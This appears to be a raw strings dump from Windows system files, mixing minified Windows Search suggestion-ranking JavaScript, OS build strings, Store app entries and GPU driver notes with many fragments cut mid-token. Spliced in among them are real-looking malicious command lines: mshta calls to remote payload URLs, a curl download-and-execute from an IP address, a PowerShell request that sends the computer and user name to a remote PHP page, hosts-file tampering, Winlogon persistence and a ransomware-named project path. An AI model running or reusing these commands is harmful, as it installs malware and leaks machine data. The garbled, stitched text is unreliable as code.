"+n.getWebSuggestionAnnotation(n.msbEnabledForQuery(t.query)),a=n.config.clearMru&&(!t.query||!t.query.queryToFetch)&&t.groups.length>0&&t.groups[0].type!=n.GroupType.QuickSearch,f={groups:t.groups,contextMenuHandler:this._contextMenuHandler,clickHandler:this._suggestionClickHandler,openPreviewPaneButton:this.getOpenPreviewPaneButton(),isSearchHome:c,isWorkScopeZI:(o=t.query)===null||o===void 0?void 0:o.isWorkScopeZI,webSuggestionAnnotation:l,deleteMRUButtonCallback:a?()=>this.deleteMRUButtonCa
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
===void 0?void 0:t.mruRankingData)===null||r===void 0?void 0:r.localSuggestionDistanceScore)||n.isNullOrUndefined((u=i===null||i===void 0?void 0:i.mruRankingData)===null||u===void 0?void 0:u.localSuggestionDistanceScore)||t.mruRankingData.localSuggestionDistanceScore==i.mruRankingData.localSuggestionDistanceScore?t.query.split(" ").length==i.query.split(" ").length?t.query.length==i.query.length?i.lastLaunchTime-t.lastLaunchTime:t.query.length-i.query.length:t.query.split(" ").length-i.query.split(" ").length:i.mruRankingData.localSuggestionDistanceScore-t.mruRankingData.localSuggestionDistanceScore})}else if(n.config.optimizeRecentRank==5||n.config.optimizeRecentRank==6){const t=.5;i.forEach(i=>{var u,f;let r=-Infinity,e="";for(const t of Object.keys(n.config.recentFrequentQueryList)){const f=n.getEditDistanceIgnoreCase(i.query,t);let u=1-f/t.length;u>r&&(r=u,e=t)}if(!n.isNullOrUndefined((u=i===null||i===void 0?void 0:i.mruRankingData)===null||u===void 0?void 0:u.localSuggestionDistanceScore))if(r>t){if(n.config.optimizeRecentRank==6){const t=(f=n.config.recentFrequentQueryList[e])!==null&&f!==void 0?f:1;r=r*t}i.mruRankingData.localSuggestionDistanceScore=r}else i.mruRankingData.localSuggestionDistanceScore=0});i.sort((t,i)=>{var r,u;return n.isNullOrUndefined((r=t===null||t===void 0?void 0:t.mruRankingData)===null||r===void 0?void 0:r.localSuggestionDistanceScore)||n.isNullOrUndefined((u=i===null||i===void 0?void 0:i.mruRankingData)===null||u===void 0?void 0:u.localSuggestionDistanceScore)||t.mruRankingData.localSuggestionDistanceScore==i.mruRankingData.localSuggestionDistanceScore?i.lastLaunchTime-t.lastLaunchTime:i.mruRankingData.localSuggestionDistanceScore-t.mruRankingData.localSuggestionDistanceScore})}if(n.config.optimizeRecentRank>=1&&n.config.optimizeRecentRank<=6)i.forEach((n,r)=>{t.suggestions[u[r]]=i[r]});else if(n.config.optimizeRecentRank==7)t.suggestions=[...i,...r];else if(n.config.optimizeRecentRank==8){let n=t.suggestions.length>0&&t.suggestions[0].itemType!==2;t.suggestions=n?[r[0],...i,...r.slice(1)]:[...i,...r]}else n.config.optimizeRecentRank==9&&n.Host.getWindowsActivationState()===!1&&(t.suggestions=[...i,...r])}getSortedSuggestions(n,t){return t.filter(t=>t.itemType===n).sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime)}hasAtLeastTwoNonEmptyGroups(n){let t=0;for(let i of n)if(i.length>0&&++t>=2)return!0;return!1}getAveragePosition(n,t){let i=n.reduce((n,i)=>n+t.indexOf(i)+1,0);return i/n.length}canGoToL2(n){return n.click&&!n.instItem}populateGroupHeaderFlags(t){if(this.isWorkScope()&&t.type!=n.GroupType.WorkSuggestions&&t.suggestions.length>n.config.msbWorkScopeGroupSuggestionLimit)t.showCountInHeader=!0,t.count=t.suggestions.length;else if(this.canGoToL2(t)){let n=t.suggestions.every(n=>n.suppressed);t.showCountInHeader=n}}shouldTrackGroupCount(n){return this.canGoToL2(n)}getGroupData(t){var u;let r={type:n.getGroupType(t),source:t.sourceForGroup};return r.type===n.GroupType.DMAWeb&&((u=t===null||t===void 0?void 0:t.sourceApp)===null||u===void 0?void 0:u.applicationUserModelId)&&(r.source=t.sourceApp.applicationUserModelId),n.enableMRUSearchHome()&&r.type==n.GroupType.MRUHistory&&(r.source=undefined),[r,i(this.groups,r)]}removePendingSuggestionFromExistingGroup(n,t){for(let i=0;i<this._pendingSuggestionsInExistingGroups.length;++i){let r=this._pendingSuggestionsInExistingGroups[i];if(r.group==t){let t=r.suggestions.indexOf(n);if(t==-1)throw new Error("Pending suggestion not found in existing group");else{r.suggestions.splice(t,1);r.suggestions.length==0&&this._pendingSuggestionsInExistingGroups.splice(i,1);return}}}throw new Error("Pending suggestion not found: pending suggestions in existing groups is empty");}removePendingSuggestionFromMissingGroup(t,i){for(let r=0;r<this._pendingSuggestionsInMissingGroups.length;++r){let u=this._pendingSuggestionsInMissingGroups[r];if(n.sameGroup(u.typeWithSource,i)){let n=u.suggestions.indexOf(t);if(n==-1)throw new Error("Pending suggestion not found in missing group");else{u.suggestions.splice(n,1);u.suggestions.length==0&&this._pendingSuggestionsInMissingGrons(u);let f=-1;this.groups.forEach((t,i)=>{f=t.type==n.GroupType.MRUHistory?i:f});r.splice(f,0,u);this.groups=r;this.renderGroups()}else n.LightweightStorage.setItem(ht,"1")}compareMruSuggestionsByRecency(n,t,i){var r,u,f,e,o,s;const h=this.getMruRecencyRankingScore(t,i)-this.getMruRecencyRankingScore(n,i);if(Math.abs(h)>1e-10)return h;const c=((r=t===null||t===void 0?void 0:t.lastLaunchTime)!==null&&r!==void 0?r:0)-((u=n===null||n===void 0?void 0:n.lastLaunchTime)!==null&&u!==void 0?u:0);return c!==0?c:((e=(f=t===null||t===void 0?void 0:t.mruRankingData)===null||f===void 0?void 0:f.prefixLaunchCount)!==null&&e!==void 0?e:0)-((s=(o=n===null||n===void 0?void 0:n.mruRankingData)===null||o===void 0?void 0:o.prefixLaunchCount)!==null&&s!==void 0?s:0)}getMruRecencyRankingScore(t,i){var r,u,f;if(!i||n.isNullOrUndefined(t))return 0;const e=Math.max(1,(u=(r=t===null||t===void 0?void 0:t.mruRankingData)===null||r===void 0?void 0:r.prefixLaunchCount)!==null&&u!==void 0?u:1),o=(f=t===null||t===void 0?void 0:t.lastLaunchTime)!==null&&f!==void 0?f:0;if(o<=0||i<=0)return e;const s=Math.max(0,(i-o)/1e3),h=Math.pow(e,1.15)*60;return h/(s+60)}rankMruSuggestions(t){let i=this.getSortedSuggestions(2,t.suggestions),u=this.getSortedSuggestions(1,t.suggestions),f=this.getSortedSuggestions(0,t.suggestions),r=t.suggestions.filter(n=>n.itemType!==2).sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime);if(n.config.enablePromoteWebSuggInSH&&i.length>0&&r.length>0)t.suggestions=[...i,...r];else if(n.config.enablePromoteWebSuggInSH2&&this.hasAtLeastTwoNonEmptyGroups([i,f,u,r]))t.suggestions=[...[i,f,u].sort((n,t)=>t.length-n.length).reduce((n,t)=>n.concat(t),[])];else if(n.config.enablePromoteWebSuggInSH3&&i.length>0&&r.length>0){const n=this.getAveragePosition(i,t.suggestions),u=this.getAveragePosition(r,t.suggestions);t.suggestions=n<u?[...i,...r]:[...r,...i]}else if(n.config.enablePromoteWebSuggInSH4&&i.length>0&&r.length>0)t.suggestions=t.suggestions[0].itemType===2?[...i,...r]:[...r,...i];else if(n.config.enablePromoteWebSuggInSH5&&i.length>0&&r.length>0){const n=i.slice(0,5);t.suggestions=[...n,...r]}else n.config.enablePromoteWebSuggInSH6&&i.length>0&&r.length>0&&(t.suggestions=[...r,...i])}rankMruWebSuggestions(t){let i=[],u=[];t.suggestions.forEach((n,t)=>{n.itemType===2&&(i.push(n),u.push(t))});let r=t.suggestions.filter(n=>n.itemType!==2);if(n.config.optimizeRecentRank==1)i.sort((n,t)=>n.query.split(" ").length==t.query.split(" ").length?n.query.length==t.query.length?t.lastLaunchTime-n.lastLaunchTime:n.query.length-t.query.length:n.query.split(" ").length-t.query.split(" ").length);else if(n.config.optimizeRecentRank==2)i.sort((t,i)=>{var r,u;return n.isNullOrUndefined((r=t===null||t===void 0?void 0:t.mruRankingData)===null||r===void 0?void 0:r.prefixLaunchCount)||n.isNullOrUndefined((u=i===null||i===void 0?void 0:i.mruRankingData)===null||u===void 0?void 0:u.prefixLaunchCount)||t.mruRankingData.prefixLaunchCount==i.mruRankingData.prefixLaunchCount?t.query.split(" ").length==i.query.split(" ").length?t.query.length==i.query.length?i.lastLaunchTime-t.lastLaunchTime:t.query.length-i.query.length:t.query.split(" ").length-i.query.split(" ").length:i.mruRankingData.prefixLaunchCount-t.mruRankingData.prefixLaunchCount});else if(n.config.optimizeRecentRank==3)i.sort((n,t)=>{const i=/how|what|when|where|why|which/i;return i.test(n.query)==i.test(t.query)?n.query.split(" ").length==t.query.split(" ").length?n.query.length==t.query.length?t.lastLaunchTime-n.lastLaunchTime:n.query.length-t.query.length:n.query.split(" ").length-t.query.split(" ").length:Number(i.test(n.query))-Number(i.test(t.query))});else if(n.config.optimizeRecentRank==4){const t=.5;i.map(i=>{var f;let u=-Infinity;for(const t of r){const r=n.getEditDistanceIgnoreCase(i.query,t.query),f=1-r/(t.query.length+i.query.length);u=Math.max(u,f)}n.isNullOrUndefined((f=i===null||i===void 0?void 0:i.mruRankingData)===null||f===void 0?void 0:f.localSuggestionDistanceScore)||(i.mruRankingData.localSuggestionDistanceScore=u>t?u:0)});i.sort((t,i)=>{var r,u;return n.isNullOrUndefined((r=t===null||tagementSurface:bt,groupType:r,dataSource:(st=f===null||f===void 0?void 0:f.dataSource)!==null&&st!==void 0?st:"",suggestionType:(ht=f===null||f===void 0?void 0:f.type)!==null&&ht!==void 0?ht:"",scope:pt?undefined:(lt=(ct=f===null||f===void 0?void 0:f.scope)===null||ct===void 0?void 0:ct.toString())!==null&&lt!==void 0?lt:(yt=(vt=(at=this._partialQuery)===null||at===void 0?void 0:at.scope)===null||vt===void 0?void 0:vt.toString())!==null&&yt!==void 0?yt:"",bestMatch:pt?undefined:!1,group:pt?undefined:this.groups[i].type,groupOrdinal:pt?undefined:i+kt,absoluteOrdinal:pt?undefined:t,withinGroupOrdinal:pt?undefined:u,previewPaneHit:pt?undefined:!1,zeroInputExperienceType:pt?wt:undefined,zeroInputItemType:pt?n.isZeroInputAllScope(n.Host.getQuery())&&this.groups[i].type==n.GroupType.MRUHistory?"Recent":"Other":undefined,zeroInputItemOrdinal:n.Host.getLogUserActivityDataEnabled()&&pt&&(r==n.GroupType.CuratedSuggestions||r==n.GroupType.MRUHistory)?u:undefined,populateMatchTypes:()=>this.populateIndexerMatchTypes(f)};f.instItem.setUserEngagementContent(e)}}}}}populateIndexerMatchTypes(t){var i;let r=new Set,u=[t,...(i=t.duplicates)!==null&&i!==void 0?i:[]];return u.forEach(t=>{var i;const u=(i=t===null||t===void 0?void 0:t.deviceItem)===null||i===void 0?void 0:i.matchType;n.isNullOrUndefined(u)||r.add(u)}),r.size>0?Array.from(r):undefined}getQFSuggestionIndexerMatchType(t){var i;let r=0;if(!n.isNullOrUndefined(t===null||t===void 0?void 0:t.deviceItem)&&(n.isDocument(t===null||t===void 0?void 0:t.type)||n.isPhoto(t===null||t===void 0?void 0:t.type)||n.isFolder(t===null||t===void 0?void 0:t.type)||n.Host.getJupiterProviderEnabled()&&n.isSetting(t===null||t===void 0?void 0:t.type))){let n=t.deviceItem;r=(i=n===null||n===void 0?void 0:n.matchType)!==null&&i!==void 0?i:0}return r}logQFSuggestionsIndexerMatchTypeList(){let t=[];for(let n=0;n<this.topResults.length;n++){let i=this.topResults[n];t.push(this.getQFSuggestionIndexerMatchType(i))}for(let n=0;n<this.groups.length;n++)for(let i=0;i<this.groups[n].suggestions.length;i++){let r=this.groups[n].suggestions[i];t.push(this.getQFSuggestionIndexerMatchType(r))}n.InstrumentationHelper.logQFSuggestionsIndexerMatchTypeList(t)}sortMRUList(){let i=this.groups.filter(t=>t.type==n.GroupType.MRUHistory),r=this.groups.filter(t=>t.type!=n.GroupType.MRUHistory);const t=this.getMaxNumberOfRecentItems(n.GroupType.MRUHistory);if(i.length>0){n.LightweightStorage.removeItem(ht);let u=i[0];if(n.config.enableRecencyMRURanking){Log.LogFilterFlare(["recencymru-t"]);const n=Date.now();u.suggestions.sort((t,i)=>this.compareMruSuggestionsByRecency(t,i,n))}else u.suggestions.sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime);let e=u.suggestions.filter(n=>n.itemType===2);if(u.suggestions.length>t||e.length>n.Max_WEB_RESULTS&&n.config.reduceInZI!=0&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())===3)if(n.config.mruImprovement3){let f=u.suggestions.slice(t),i=f.filter(n=>n.itemType!==2);u.suggestions=u.suggestions.splice(0,t);let r=u.suggestions.filter(n=>n.itemType===2),e=u.suggestions.filter(n=>n.itemType!==2);if(r.length>n.Max_WEB_RESULTS){let f=r.slice(n.Max_WEB_RESULTS),s=[],h=[];n.config.mruRoamingWebReplace&&(h=f.filter(n=>n.hasMruData),f=f.filter(n=>!n.hasMruData));s=f.length>=i.length?f.slice(0,f.length-i.length).concat(i):i.slice(0,f.length);n.config.mruRoamingWebReplace&&s.concat(h);let o=r.slice(0,n.Max_WEB_RESULTS).concat(e).concat(s).sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime);o.length>t&&(o=o.slice(0,t));u.suggestions=o}}else u.suggestions=u.suggestions.splice(0,t);if(n.config.mruRoamingSuggestionLow){let n=u.suggestions.filter(n=>n.hasMruData||n.itemType!==2),t=u.suggestions.filter(n=>!n.hasMruData&&n.itemType===2);u.suggestions=n.concat(t)}(n.config.enablePromoteWebSuggInSH||n.config.enablePromoteWebSuggInSH2||n.config.enablePromoteWebSuggInSH3||n.config.enablePromoteWebSuggInSH4||n.config.enablePromoteWebSuggInSH5||n.config.enablePromoteWebSuggInSH6)&&this.rankMruSuggestions(u);n.config.optimizeRecentRank&&this.rankMruWebSuggesti{var i,r,u,f,e,o,s,h,c,l,a,v,y,p,w,b,k,d,g,nt,tt,it,rt,ut,ft,et,ot,st,ht,ct,lt,at,vt,yt,t;if(n.Host.getLogUserActivityDataEnabled()){let pt=n.isZeroInputAllScope(n.Host.getQuery()),bt=pt?"ZI":"QF";t=-1;let kt=this.topResults.length>0?0:1,wt="";if(pt&&(wt=n.isMsbEnterprise()?"MSB":n.shouldShowStaticSearchHome(n.Host.getQuery())?"Static Search Home":n.shouldShowDSBLayout(n.Host.getQuery())?"DSB":""),n.config.ssrBugFixes){const tt=[];for(let n=0;n<this.topResults.length;n++){t=t+1;let l=this.topResults[n];const a={dataSource:(i=l===null||l===void 0?void 0:l.dataSource)!==null&&i!==void 0?i:"",suggestionType:(r=l===null||l===void 0?void 0:l.type)!==null&&r!==void 0?r:"",scope:(f=(u=l===null||l===void 0?void 0:l.scope)===null||u===void 0?void 0:u.toString())!==null&&f!==void 0?f:(s=(o=(e=this._partialQuery)===null||e===void 0?void 0:e.scope)===null||o===void 0?void 0:o.toString())!==null&&s!==void 0?s:"",bestMatch:!0,groupOrdinal:0,absoluteOrdinal:t,withinGroupOrdinal:n,previewPaneHit:pt?undefined:(h=l===null||l===void 0?void 0:l.hasPreviewPaneOpened)!==null&&h!==void 0?h:!1,zeroInputExperienceType:pt?wt:undefined,zeroInputItemType:pt?"":undefined,populateMatchTypes:()=>this.populateIndexerMatchTypes(l)};(c=l.instItem)===null||c===void 0?void 0:c.setUserEngagementContent(a);tt.push(a)}let ut=pt&&this.groups.some(t=>t.type==n.GroupType.MRUHistory),it=kt;const rt=((l=this._partialQuery)===null||l===void 0?void 0:l.queryToFetch)?n.config.maxSuggestionsPerGroup:0;for(let i=0;i<this.groups.length;i++){let f=this.groups[i].typeWithSource.type,u=this.groups[i];if(!ut||f!==n.GroupType.CuratedSuggestions){let r=u.suggestions.filter(n=>!n.suppressed);if(rt&&rt>0&&!((a=this._partialQuery)===null||a===void 0?void 0:a.isSearchHomeZI)){let t=rt;n.isImageGridEnabledForItem(u.type)&&(t=dt);r.length>t&&(r=r.slice(0,t))}u.maxSuggestionsToShow!=undefined&&r.length>u.maxSuggestionsToShow&&!u.isGroupContainerFullyExpanded&&(r=r.slice(0,u.maxSuggestionsToShow));for(let u=0;u<r.length;u++){t=t+1;let e=r[u];const o={groupType:f,dataSource:(v=e===null||e===void 0?void 0:e.dataSource)!==null&&v!==void 0?v:"",suggestionType:(y=e===null||e===void 0?void 0:e.type)!==null&&y!==void 0?y:"",scope:pt?undefined:(w=(p=e===null||e===void 0?void 0:e.scope)===null||p===void 0?void 0:p.toString())!==null&&w!==void 0?w:(d=(k=(b=this._partialQuery)===null||b===void 0?void 0:b.scope)===null||k===void 0?void 0:k.toString())!==null&&d!==void 0?d:"",bestMatch:pt?undefined:!1,group:this.groups[i].type,groupOrdinal:it,absoluteOrdinal:t,withinGroupOrdinal:u,previewPaneHit:pt?undefined:(g=e===null||e===void 0?void 0:e.hasPreviewPaneOpened)!==null&&g!==void 0?g:!1,zeroInputExperienceType:pt?wt:undefined,zeroInputItemType:pt?n.isZeroInputAllScope(n.Host.getQuery())&&this.groups[i].type==n.GroupType.MRUHistory?"Recent":"Other":undefined,populateMatchTypes:()=>this.populateIndexerMatchTypes(e)};(nt=e.instItem)===null||nt===void 0?void 0:nt.setUserEngagementContent(o);tt.push(o)}it=it+1}}n.InstrumentationHelper.updateUserActivityDataWhenSuggestionListUpdated(tt)}else{for(let n=0;n<this.topResults.length;n++){t=t+1;let i=this.topResults[n];const r={engagementType:"Click",engagementSurface:bt,dataSource:(tt=i===null||i===void 0?void 0:i.dataSource)!==null&&tt!==void 0?tt:"",suggestionType:(it=i===null||i===void 0?void 0:i.type)!==null&&it!==void 0?it:"",scope:(ut=(rt=i===null||i===void 0?void 0:i.scope)===null||rt===void 0?void 0:rt.toString())!==null&&ut!==void 0?ut:(ot=(et=(ft=this._partialQuery)===null||ft===void 0?void 0:ft.scope)===null||et===void 0?void 0:et.toString())!==null&&ot!==void 0?ot:"",bestMatch:!0,groupOrdinal:0,absoluteOrdinal:t,withinGroupOrdinal:n,previewPaneHit:!1,zeroInputExperienceType:wt,zeroInputItemType:"",populateMatchTypes:()=>this.populateIndexerMatchTypes(i)};i.instItem.setUserEngagementContent(r)}for(let i=0;i<this.groups.length;i++){let r=n.Host.getLogUserActivityDataEnabled()?this.groups[i].typeWithSource.type:undefined;for(let u=0;u<this.groups[i].suggestions.length;u++){t=t+1;let f=this.groups[i].suggestions[u];const e={engagementType:"Click",eng=1),a(t,r)):((o=this._partialQuery)===null||o===void 0?void 0:o.isSearchHomeZI)||this.queueSuggestionInMissingGroup(t,f,c)};for(let n of it){let[,t]=this.getGroupData(n);t&&t.count&&(t.count-=1)}const r=()=>this._contentQuery.isSearchHomeZI||n.getTweakedSetting("scrollBarInL1")||this.isWorkScope()||n.config.bypassSuggestionQueueForL2&&n.isL2(this._contentQuery);if(rt&&!t){for(let t of f)n.contains(it,t)&&i(t,!0);for(let t of f)n.contains(it,t)||i(t,r())}else f.forEach(n=>i(n,r()));if(n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled())for(let t of this.groups)if(t.type===n.GroupType.Settings){this.reSortJupiterSearchResult(t);break}for(let n of this.topResults){let[,t]=this.getGroupData(n);t&&t.count&&(t.count+=1)}if(st(),n.config.enableQFChatBeforeSuggestion){const[t,i]=this.groups.reduce((t,i,r)=>(i.type===n.GroupType.ChatWithBing&&t[0]===-1?t[0]=r:i.type===n.GroupType.SearchSuggestions&&t[1]===-1&&(t[1]=r),t),[-1,-1]);t!==-1&&i!==-1&&t>=i&&this.groups[t].suggestions.length>=n.config.minChatSuggestionToPromoteGroup&&([this.groups[t],this.groups[i]]=[this.groups[i],this.groups[t],])}n.config.logMatchTypeAfterAllArrived||n.isSemanticSearchTelemetryEnabled()&&this.logQFSuggestionsIndexerMatchTypeList()});const r=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkUpsellApplicable();let i=!1;if(r&&((g=this._partialQuery)===null||g===void 0?void 0:g.queryToFetch)&&(i=this.shouldShowWorkUpsellMessage(),this.updateWorkUpsell(i,this._isWorkUpsellShown!=i)),this._isWorkUpsellShown=i,this.isWorkScope()&&((nt=this.groups)===null||nt===void 0?void 0:nt.length)>1&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())){const t=this.groups.findIndex(t=>t.type===n.GroupType.Related);t>-1&&(this.groups[t].maxSuggestionsToShow=eu)}p=!0;ut=!0}else v!=0&&r||(this._pendingSuggestionsInMissingGroups.some(n=>n.suggestions.length>0)||this._pendingSuggestionsInExistingGroups.some(n=>n.suggestions.length>0))&&(this.renderGroupsAfter(()=>st()),p=!0,ut=!0);if(rt||p){let n;rt?p||(n=!0):n=!1;this.resetIconTimers(n,!0)}let ht=!1;if(ht=n.canShowAnaheimWin11ZITopSites()?this.groups.some(t=>t.type===n.GroupType.MRUHistory||t.type===n.GroupType.AnaheimDataTile||t.type===n.GroupType.AnaheimDataList):this.groups.some(t=>t.type===n.GroupType.MRUHistory),ht){const t=this.groups.findIndex(t=>t.type===n.GroupType.CuratedSuggestions);t>-1&&(this.groups.splice(t,1),n.canShowAnaheimWin11ZITopSites()&&this.renderGroups())}n.canShowBingPopularQueries()&&this.handlePopularQueriesVisibility();let ct=ot?"From: 2nd call at update. AllDataSourceArrived: "+h+"Search Home: "+this._partialQuery.isSearchHomeZI+"Wait 4 more res: "+r:null;return n.config.optimizeRenderGroups&&n.config.adjustInstGroupSort||ft(ct),h&&(this.toggleProgressBar(!1),n.config.logMatchTypeAfterAllArrived&&n.isSemanticSearchTelemetryEnabled()&&this._partialQuery.queryToFetch&&n.safeSetTimeout(()=>this.logQFSuggestionsIndexerMatchTypeList(),0,"logQFSuggestionsIndexerMatchTypeList")),(n.config.mruSearchHome&&((tt=this._partialQuery)===null||tt===void 0?void 0:tt.isSearchHomeZI)&&this._partialQuery.scope==n.Scope.All||n.canShowWorkScopeZiPageContent(this._partialQuery))&&this.sortMRUList(),n.config.optimizeRenderGroups&&this._groupRenderingDisabled&&(this._groupRenderingDisabled=!1,this.renderGroups()),n.config.optimizeRenderGroups&&n.config.adjustInstGroupSort&&ft(ct),1}handlePopularQueriesVisibility(){var u;if(n.canShowBingPopularQueries()){const i=this.groups.filter(t=>t.type==n.GroupType.MRUHistory),r=(i===null||i===void 0?void 0:i.length)>0?this.getPopularQueriesMaxItems(i[0].suggestions):0,t=this.groups.findIndex(t=>t.type===n.GroupType.BingPopularQueries);if(t>-1)if(r===0)this.groups.splice(t,1),this.renderGroups();else if(r>0&&r<((u=this.groups[t].suggestions)===null||u===void 0?void 0:u.length)){const n=this.groups[t].suggestions.slice(0,r);this.groups[t].suggestions=n;this.renderGroups()}}}getPopularQueriesMaxItems(n){return!n||n.length==0?0:n.length<7?7:n.length==7?6:n.length==8?5:0}fillSuggestionUserEngagementContent()
Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
9NWVC7XP3PFDCities: Skylines - Windows 10 Editionhttps://store-images.s-microsoft.com/image/apps.26616.14442149246756025.95cc7c09-6f27-48f0-b539-fbd6dedebd08.f505a3b8-2416-4124-a5b1-481281d4e2affr
9NWVC7XP3PFDCities: Skylines - Windows 10 Editionhttps://store-images.s-microsoft.com/image/apps.26616.14442149246756025.95cc7c09-6f27-48f0-b539-fbd6dedebd08.f505a3b8-2416-4124-a5b1-481281d4e2afde
9PDS2N82QNXGGoat Simulator 3: Windows Editionhttps://store-images.s-microsoft.com/image/apps.30552.14148334348309617.31885582-f4be-4138-bd3b-72108633aae0.590df52b-1240-4426-89e0-e57a5632634den
9PDS2N82QNXGGoat Simulator 3: Windows Editionhttps://store-images.s-microsoft.com/image/apps.30552.14148334348309617.31885582-f4be-4138-bd3b-72108633aae0.590df52b-1240-4426-89e0-e57a5632634dfr
9PDS2N82QNXGGoat Simulator 3: Windows Editionhttps://store-images.s-microsoft.com/image/apps.30552.14148334348309617.31885582-f4be-4138-bd3b-72108633aae0.590df52b-1240-4426-89e0-e57a5632634dde
9N92LSHFZ935Dead Island 2 (Windows)https://store-images.s-microsoft.com/image/apps.11083.13545593110318572.fd333505-0282-4b2a-8fb5-fc673cd7a3dc.c0f984e2-cbd5-4eed-b808-608387eb5282en
9N92LSHFZ935Dead Island 2 (Windows)https://store-images.s-microsoft.com/image/apps.11083.13545593110318572.fd333505-0282-4b2a-8fb5-fc673cd7a3dc.c0f984e2-cbd5-4eed-b808-608387eb5282fr
9N92LSHFZ935Dead Island 2 (Windows)https://store-images.s-microsoft.com/image/apps.11083.13545593110318572.fd333505-0282-4b2a-8fb5-fc673cd7a3dc.c0f984e2-cbd5-4eed-b808-608387eb5282de
Windows.PrintDialog_cw5n1h2txyewy-Out-Allow-InternetClient7
<MicrosoftWindows.Client.Photon_cw5n1h2txyewy-In-Allow-Intranet-Authenticate
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
zstart-process'c:\windows\temp\cmd.exe';invoke-webrequest-uri"http://91.206.178.120:5001/script_end?random_number=$randomnumber"
:software\microsoft\windows\currentversion\runonceex
WindowsFeedbackFormBase
WindowsFeedback.Form.Show
WindowsFeedback.Form.Hide
154^com.microsoft.windows.extensionpackage
155^com.microsoft.windows.extensions.xaml.taskbar
156^com.microsoft.windows.assetreference
movepayloadmbr.exe%homedrive%\windows\system32\
<\system32
ndows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
WindowsBackup
CreateSequentialPersistenceIsWindowsDefenderEnabled
PetyaXWPF\obj\Release\net8.0-windows\win-x64\PetyaX.pdbP
Windows::Rtl::IsValid(Output)
Windows::Rtl::IsValid(ptr)
Windows::Rtl::IsValid(String)
::Windows::Isolation::Rtl::IsValid(List)
\Device\HarddiskVolume3\Windows\Prefetch\CMD.EXE-0BD30981.pf
\device\harddiskvolume3\windows\prefetch\cmd.exe-0bd30981.pf
C:\Windows\xpupdate.exeC:\Program Files\SpyShredder\SpyShredder.exe69.50.164.27
http://www.MalwareAlarm.com/C:\Program Files\MalwareAlarm\MalwareAlarm.execopy "C:\myapp.exe" "C:\Windows\xpupdate.exe"MalwareAlarm.lic
Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe
system32\s
c:\windows\system32\mshta.exehttps://ikiranastore.com/images/files/ist/doc/i.php
nc:\windows\system32\cmd.exe/q/cc^o^py%systemroot%\system32\msh*.exe%public%\*&for%iin(%public%\*.exe)dostart/b%~ni.exe"https://doc.filesaves.cloud/
Oc:\windows\system32\cmd.exe/k"curlhttp://185.117.72.143/zuka.css-o%userprofile%\123213..cmd&%userprofile%\123213..cmd"
c:\windows\system32\mshta.exehttps://londonkids.in/echoolz/assets/css/front/hwo/date-of-next-increment-on-up-gradation-of-pay-on-01-jan-and-01-jul/css
windows\system32\mshta.exec:\windows\system322"https://boeisolutions.com/ssl/build/exetohta.hta
7_8c:\windows\system32\mshta.exehttps://londonkids.in/admin/plugins/ckeditor/skins/moono/images/hidpi/engrcoprsmatters/css
!#SCRIPT:Powershell/New-ItemPropertyWinlogonNotify.A
:microsoft\windowsnt\currentversion\winlogon\notify
E-Hglobal.deviceinfosystem.getos();if(os_type==os.windows){return'windows';}elseif(os_type==os.macos){return'mac';}
c:\windows\system32\mshta.exehttps://entities-important-surgeon-ever.trycloudflare.com/gpu/instrumentxhv.webp/f
>runstr="c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe-executionpolicybypass-file"+localfile;
>--headlesspowershell-windowstyleminimizedirm"iboxencentrum.com/lux.php?cv=$env:computername*$env:username"
'c:\windows\mic'$
ancounion.com.bo>>%windir%\system32\drivers\etc\hostsstarthttp://
VP8 decoding crashes before Windows 10 Fall Creators Update.
Older Windows fails to report BGRA8 overlay support for Intel GPUs
Promote 2 videos to hardware overlays on Windows Intel platforms
Windows hardware decoding doesn't support a set of legacy AMD GPUs
Windows hardware decoding doesn't support a set of legacy Intel GPUs
Disable DComp texture support on older Windows versions
Disable software bitrate control for H.264 encoding on Qualcomm GPUs on Windows.
Disable software bitrate control for H.264 encoding on AMD GPUs on Windows.
Older Intel GPU drivers fail to report BGRA8 overlay support on Windows
Older Windows fails to report RGB10A2 overlay support for Intel GPUs
VPx decoding isn't supported well before Windows 10 creators update.
TraceEGLAPI::eglCreatePlatformWindowSurface
TraceEGLAPI::eglCreateWindowSurface
